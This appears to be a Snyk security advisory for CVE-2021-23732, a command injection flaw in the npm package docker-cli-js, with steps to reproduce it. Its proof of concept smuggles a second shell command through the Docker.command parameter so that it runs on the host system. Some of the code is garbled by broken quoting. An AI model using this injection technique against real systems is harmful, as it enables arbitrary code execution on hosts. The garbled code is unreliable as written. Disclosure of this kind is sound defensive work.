Headline
CVE-2021-23732: Arbitrary Code Execution in docker-cli-js | Snyk
This affects all versions of package docker-cli-js. If the command parameter of the Docker.command method can at least be partially controlled by a user, they will be in a position to execute any arbitrary OS commands on the host system.
How to fix?
There is no fixed version for docker-cli-js.
Overview
Affected versions of this package are vulnerable to Arbitrary Code Execution. If the command parameter of the Docker.command method can at least be partially controlled by a user, they will be in a position to execute any arbitrary OS commands on the host system.
##PoC
Create a file named
exploit.jswith the following content:var dockerCLI = require(‘docker-cli-js’); var DockerOptions = dockerCLI.Options; var Docker = dockerCLI.Docker;
var docker = new Docker();
var userInput = "echo 'Hello from the container’"; echo ‘Hello from the host’ #";
docker.command(
exec container-test bash -c "${userInput}", function (err, data) { console.log('data = ', data); });
- In the same directory as
exploit.js, runnpm install docker-cli-js. - Create a background Docker container named
container-test:docker run': docker run --name container-test -d ubuntu sleep 1000. - Run
exploit.js:node exploit.js.
You should see the outputs of both the container and host system.